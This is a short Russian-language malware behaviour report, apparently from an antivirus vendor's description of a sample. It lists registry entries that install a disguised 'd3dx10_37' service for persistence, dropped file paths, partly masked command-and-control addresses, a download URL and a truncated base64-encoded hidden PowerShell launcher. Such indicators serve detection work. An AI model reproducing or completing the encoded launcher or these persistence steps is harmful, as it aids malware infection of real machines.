Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_37] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx10_37] 'ImagePath' = '"%WINDIR%\SysWOW64\xwtpdui\d3dx10_37.exe"'
- 'd3dx10_37' "%WINDIR%\SysWOW64\xwtpdui\d3dx10_37.exe"
- 'd3dx10_37' %WINDIR%\SysWOW64\xwtpdui\d3dx10_37.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJAHUAagBzADcAOAA4AD0AKAAoACcAQwBvACcAKwAnAHgAJwApACsAJwBnACcAKwAoACcAdgAnACsAJwBiAG4AJwApACkAOwAkAFEAcABwADUANwBsAHcAPQAkAEgANwAwAHEAawBfADYAIAArACAAWwBjAGgAYQByAF0AKA...
- %HOMEPATH%\bvt40xn\qu1gi7l\tt2alb5j.exe
- %WINDIR%\syswow64\xwtpdui\d3dx10_37.exe
- %HOMEPATH%\bvt40xn\qu1gi7l\tt2alb5j.exe в %WINDIR%\syswow64\xwtpdui\d3dx10_37.exe
- '19#.#6.15.50':80
- '19#.#75.111.214':8080
- '95.#5.33.23':8080
- '19#.#32.229.54':7080
- http://im####rtariran.com/wp-admin/CZ/
- http://19#.##2.229.54:7080/O5ia8/lmlZgWNq/DnuziYO1Huh8BrORuz/H88TPWUQ3W/ZuL9p1sA4uzRjvXW/3bc4DAz/ via 19#.#32.229.54
- DNS ASK im####rtariran.com
- '%HOMEPATH%\bvt40xn\qu1gi7l\tt2alb5j.exe'
- '%WINDIR%\syswow64\xwtpdui\d3dx10_37.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABJAHUAagBzADcAOAA4AD0AKAAoACcAQwBvACcAKwAnAHgAJwApACsAJwBnACcAKwAoACcAdgAnACsAJwBiAG4AJwApACkAOwAkAFEAcABwADUANwBsAHcAPQAkAEgANwAwAHEAawBfADYAIAArACAAWwBjAGgAYQByAF0AKA...' (со скрытым окном)